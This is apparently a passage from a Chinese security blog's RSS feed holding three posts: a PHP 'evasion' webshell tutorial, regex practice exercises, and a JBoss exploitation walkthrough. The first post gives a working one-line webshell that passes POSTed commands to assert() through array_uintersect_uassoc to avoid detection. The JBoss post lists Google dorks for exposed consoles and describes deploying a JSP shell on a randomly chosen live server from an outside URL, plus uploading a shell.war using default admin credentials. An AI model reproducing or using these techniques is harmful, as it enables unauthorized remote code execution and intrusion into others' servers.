&lt;span class=&quot;nb&quot;&gt;usort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;uasort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;uksort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_reduce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_diff_uassoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;array_diff_ukey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_udiff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;array_udiff_assoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_udiff_uassoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_intersect_assoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;array_intersect_uassoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_uintersect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;array_uintersect_assoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_uintersect_uassoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_walk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;array_walk_recursive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;xml_set_character_data_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;xml_set_default_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;xml_set_element_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;ob_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;xml_set_end_namespace_decl_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;xml_set_external_entity_ref_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;xml_set_notation_decl_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;xml_set_processing_instruction_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;xml_set_start_namespace_decl_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;xml_set_unparsed_entity_decl_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;stream_filter_register&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;set_error_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;register_shutdown_function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;register_tick_function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;生僻函数免杀一句话&quot;&gt;生僻函数免杀一句话&lt;/h1&gt;
&lt;a href=&quot;http://www.w3school.com.cn/php/func_array_uintersect_uassoc.asp&quot;&gt;PHP array_uintersect_uassoc() 函数&lt;/a&gt;
比较两个数组的键名和键值（使用用户自定义函数进行比较），并返回交集（匹配）：

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;myfunction_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;===&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;myfunction_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;===&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;red&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;green&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;blue&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$a2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;red&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;green&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;green&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;array_uintersect_uassoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;myfunction_key&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;myfunction_value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;print_r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
语法
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;array_uintersect_uassoc(array1,array2,array3...,myfunction_key,myfunction_value)&lt;/code&gt;

参数	描述
&lt;ul&gt;
  &lt;li&gt;
    &lt;strong&gt;array1&lt;/strong&gt; 必需。与其他数组进行比较的第一个数组。
  &lt;/li&gt;
  &lt;li&gt;
    &lt;strong&gt;array2&lt;/strong&gt;	必需。与第一个数组进行比较的数组。
  &lt;/li&gt;
  &lt;li&gt;
    &lt;strong&gt;array3,…&lt;/strong&gt;	可选。与第一个数组进行比较的其他数组。
  &lt;/li&gt;
  &lt;li&gt;
    ** myfunction_key ** 必需。用于比较数组键名的用户自定义函数的名称。
  &lt;/li&gt;
  &lt;li&gt;
    定义可调用的比较函数。如果第一个参数小于等于或大于第二个参数，则比较函数必须返回小于等于或大于 0 的整数。
  &lt;/li&gt;
  &lt;li&gt;
    ** myfunction_value ** 必需。用于比较数组键值的用户自定义函数的名称。
  &lt;/li&gt;
  &lt;li&gt;
    定义可调用的比较函数。如果第一个参数小于等于或大于第二个参数，则比较函数必须返回小于等于或大于 0 的整数。
  &lt;/li&gt;
  &lt;li&gt;
    使用用户自定义的回调函数 myfunction_key 和 myfunction_value 来计算两个或多个数组的交集（即在 array1 中存在，同时也在其它任何数组中存在的所有数组元素），并返回结果数组。
  &lt;/li&gt;
  &lt;li&gt;
    同时进行键名和键值的比较，如 “a”=&amp;gt;1 和 “b”=&amp;gt;1 这两个元素是不相等的。
  &lt;/li&gt;
  &lt;li&gt;
    myfunction_key 指定的函数用于比较键名是否相等。myfunction_value 指定的函数用于比较键值是否相等。这两个函数都带有两个将进行比较的参数。如果第一个参数小于第二个参数，则函数返回一个负数，如果两个参数相等，则要返回 0，如果第一个参数大于第二个，则返回一个正数。返回的数组中键名保持不变。
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;生成我们的一句话木马&quot;&gt;生成我们的一句话木马&lt;/h1&gt;
shell.php
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'cmd'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$a2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'cmd'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;array_uintersect_uassoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;assert&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;assert&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

防护：在开发中尽量不要使用危险函数，输入的变量一定要进行过滤。
</description>
        <pubDate>Sun, 14 Oct 2018 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2018/10/14/Remote-code/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2018/10/14/Remote-code/</guid>
        
        <category>Remote</category>
        
        <category>一句话木马</category>
        
        
        <category>Remote</category>
        
        <category>code</category>
        
        <category>execution</category>
        
      </item>
    
      <item>
        <title>正则表达式题目与答案</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#一初级练习&quot; id=&quot;markdown-toc-一初级练习&quot;&gt;一、初级练习&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#二中级练习&quot; id=&quot;markdown-toc-二中级练习&quot;&gt;二、中级练习&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1 id=&quot;一初级练习&quot;&gt;一、初级练习&lt;/h1&gt;
1、求非负整数 :&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^\d+$&lt;/code&gt; 
 Tips:需要注意的是这个匹配模式为多行模式下进行的

2、匹配正整数：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^[1-9]*[1-9][0-9]*$ &lt;/code&gt;
在网上也有这种写法的&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; ^[0-9]*[1-9][0-9]*$&lt;/code&gt;
这里截图我也不贴了，前者指能匹配123012这种整数，而后者可以匹配001230。
取舍就看实际的需要了

3、非正整数：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^(-\d+|(0+))$&lt;/code&gt;

4、负整数：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^-[0-9]*[1-9][0-9]*$ &lt;/code&gt;

5、整数 ：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^-?\d+$&lt;/code&gt;

6、非负浮点数 ：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^\d+(\.\d+)?$&lt;/code&gt;

7、正浮点数 ：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$&lt;/code&gt;

8、非正浮点数 ：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^((-\d+(\.\d+)?)|(0+(\.0+)?))$&lt;/code&gt;

9、负浮点数：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$&lt;/code&gt;

10、浮点数：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^(-?\d+)(\.\d+)?$&lt;/code&gt;

11、有数字、26个英文字母组成的字符串：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^[A-Za-z0-9]+$&lt;/code&gt;

&lt;h1 id=&quot;二中级练习&quot;&gt;二、中级练习&lt;/h1&gt;

1、匹配帐号是否合法(字母开头，允许5-16字节，允许字母数字下划线)：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^[a-zA-Z][a-zA-Z0-9_]{4,15}$&lt;/code&gt;
评注：表单验证时很实用

2、验证输入只能是汉字 ：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[\u4e00-\u9fa5]{0,}&lt;/code&gt;

3、电子邮箱验证：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$&lt;/code&gt;

4、URL地址验证：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^http://([\w-]+\.)+[\w-]+(/[\w-./?%&amp;amp;=]*)?$&lt;/code&gt;

5、电话号码的验证：请参考：http://blog.csdn.net/kiritor/article/details/8733469

6、简单的身份证号验证：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[1-9][0-9,X]{14,17}&lt;/code&gt;
评注：中国的身份证为15位或18位

三、 高级练习

1、提取并捕获html标签内容：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;a(?: [^&amp;gt;]*)+href=([^ &amp;gt;]*)(?: [^&amp;gt;]*)*&amp;gt;&lt;/code&gt;
</description>
        <pubDate>Thu, 11 Oct 2018 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2018/10/11/Regular/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2018/10/11/Regular/</guid>
        
        <category>Regular</category>
        
        <category>正则表达式</category>
        
        
        <category>Regular</category>
        
      </item>
    
      <item>
        <title>JBoss 漏洞利用</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#前言&quot; id=&quot;markdown-toc-前言&quot;&gt;前言&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#介绍&quot; id=&quot;markdown-toc-介绍&quot;&gt;介绍&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#jboss漏洞&quot; id=&quot;markdown-toc-jboss漏洞&quot;&gt;JBoss漏洞&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#利用jboss一&quot; id=&quot;markdown-toc-利用jboss一&quot;&gt;利用JBoss（一）&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#jboss利用二&quot; id=&quot;markdown-toc-jboss利用二&quot;&gt;Jboss利用（二）&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#结论&quot; id=&quot;markdown-toc-结论&quot;&gt;结论&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#下载&quot; id=&quot;markdown-toc-下载&quot;&gt;下载&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#参考&quot; id=&quot;markdown-toc-参考&quot;&gt;参考&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;前言&quot;&gt;前言&lt;/h1&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://ip:8080/jmx-console/HtmlAdaptor?action=inspectMBean&amp;amp;name=jboss.system:type=ServerInfo&lt;/code&gt;

由这样的url应发的血案。
&lt;h1 id=&quot;介绍&quot;&gt;介绍&lt;/h1&gt;
JBoss Application Server &lt;a href=&quot;https://securityxploded.com/jboss-exploitation.php#Reference&quot;&gt;参考文献1&lt;/a&gt; 是一个基于Java EE的开源应用服务器。这类软件的一个重要区别是它不仅实现了在Java上运行的服务器，而且它实际上实现了Java的Java EE部分。因为它是基于Java的，所以JBoss应用程序服务器可以跨平台运行，可以在任何支持Java的操作系统上使用。JBoss是由JBoss开发的，现在是Red Hat的一个部门。

&lt;img src=&quot;https://securityxploded.com/images/articles/jboss_main.jpg&quot; alt=&quot;jboss-log&quot; /&gt;

JBoss Web Server为组织提供了一个用于Java Server Pages（JSP）和Java Servlet技术，PHP和CGI 的单一部署平台。它采用了真正的高性能混合技术，该技术结合了最新的OS技术，可以处理大量数据，同时保留所有参考Java规范。

&lt;h1 id=&quot;jboss漏洞&quot;&gt;JBoss漏洞&lt;/h1&gt;
&lt;strong&gt;JBoss&lt;/strong&gt;现在被广泛使用，并且由许多组织在各自的Web服务器上部署。作为一个有用的应用程序，它一定是黑客和恶意用户的目标。

虽然在JBoss上发现了许多漏洞和漏洞，但已经发布了许多CVE。但是今天我们将看看JBoss应用程序中最关键的错误之一，它可以被网络犯罪分子广泛使用。

我们来看看默认的JBoss服务器

&lt;img src=&quot;https://securityxploded.com/images/articles/jboss1.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;img src=&quot;https://securityxploded.com/images/articles/jboss2.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

默认状态，如果配置不正确，可能会让攻击者造成破坏。由于&lt;strong&gt;JMX控制台&lt;/strong&gt; [ &lt;a href=&quot;https://securityxploded.com/jboss-exploitation.php#Reference&quot;&gt;参考2&lt;/a&gt; ]可以通常在端口8080上远程访问，黑客和恶意用户可以使用JBoss控制台中的DeploymentScanner功能在服务器上部署WAR（Web存档）文件或shell。在下一节中，我们将了解实际的利用情况。

&lt;h1 id=&quot;利用jboss一&quot;&gt;利用JBoss（一）&lt;/h1&gt;

我们大多数人都会开始寻找 Metasploit，Nmap，Nessus等工具！你在这里不需要它们。是的，你听到了！对于黑客攻击JBoss服务器，您不需要太多应用程序。您只需要一个JSP shell和一个浏览器。

我们组建了一个 &lt;strong&gt;Google dork&lt;/strong&gt;来搜索jmx控制台：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inurl:jmx-console/HtmlAdaptor&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;intitle:”jboss management console”&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;“application server” version inurl:”web-console”&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;intitle:”JBoss Management Console – Server Information”&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;“application server” inurl:”web-console” OR inurl:”jmx-console”&lt;/code&gt;

这是结果，

&lt;img src=&quot;https://securityxploded.com/images/articles/jboss3.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

大多数JBoss服务器都对jmx-console进行了&lt;strong&gt;默认身份验证&lt;/strong&gt;。JBoss的默认配置不限制对控制台和Web管理界面的访问，这允许&lt;strong&gt;远程攻击者&lt;/strong&gt;绕过身份验证并通过直接请求获得管理访问权限。

我们只选择其中一个随机URL和宾果游戏！我们可以访问jmx-console。接下来，我们需要一个JSP Shell。通过互联网搜索可以很容易地获得Jsp shell。所以现在，我们有一个JSP shell继续前进。
 &lt;img src=&quot;https://securityxploded.com/images/articles/jboss4.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

为了部署我们的shell，我们将通过在shell中添加一个新URL来使用jmx控制台中的 &lt;strong&gt;DeploymentScanner&lt;/strong&gt;。使用&lt;strong&gt;addURL（）&lt;/strong&gt;命令，可以使用应用程序或shell添加新URL。Jboss将从此URL获取应用程序。

下一步是等待DeploymentScanner部署文件，然后我们将访问我们的shell。我们将shell上传到一个站点，比方说 **：abc.com/attack/cmd.jsp ** ，接下来我们需要部署它。因此，我们将在控制台中访问DeploymentScanner。

&lt;img src=&quot;https://securityxploded.com/images/articles/jboss5.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

接下来，我们将在jmx-console中添加带有shell的URL 。

&lt;img src=&quot;https://securityxploded.com/images/articles/jboss6.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

添加URL后，我们将调用该函数。如上图所示，我们有一个按钮来调用该函数。完成后，应用程序会给出成功操作的消息。

&lt;img src=&quot;https://securityxploded.com/images/articles/jboss7.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

在服务器上部署shell时我们等了一会儿。之后，我们访问了已部署的shell。W00t W00t！我们的shell 在服务器上完美运行！

&lt;img src=&quot;https://securityxploded.com/images/articles/jboss8.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

什么惊讶我们的是，我们有一个 root权限使用我们的外壳在服务器

&lt;img src=&quot;https://securityxploded.com/images/articles/jboss9.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;h1 id=&quot;jboss利用二&quot;&gt;Jboss利用（二）&lt;/h1&gt;
大多数JBoss服务器都对jmx-console进行了&lt;strong&gt;默认身份验证&lt;/strong&gt;，所以我们用默认身份来登录。
首先我们找到主页面上的&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Admin console&lt;/code&gt;模块
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/5451635-2436e3cbbb6a03ff.png&quot; alt=&quot;1.png&quot; /&gt;
试试默认账户密码admin。
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/5451635-0adba465ae197661.png&quot; alt=&quot;2.png&quot; /&gt;
成功登录到后台。选择&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web appliction archive&lt;/code&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/5451635-70b761161869b537.png&quot; alt=&quot;3.png&quot; /&gt;
上传大马.war文件。把写好的shell.jsp压缩成zip文件，再直接改扩展名.war，就生成好我们的shell.war了，然后直接上传shell.war文件。
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/5451635-f429a870f3ac8879.png&quot; alt=&quot;4.png&quot; /&gt;

最后访问我们的shell
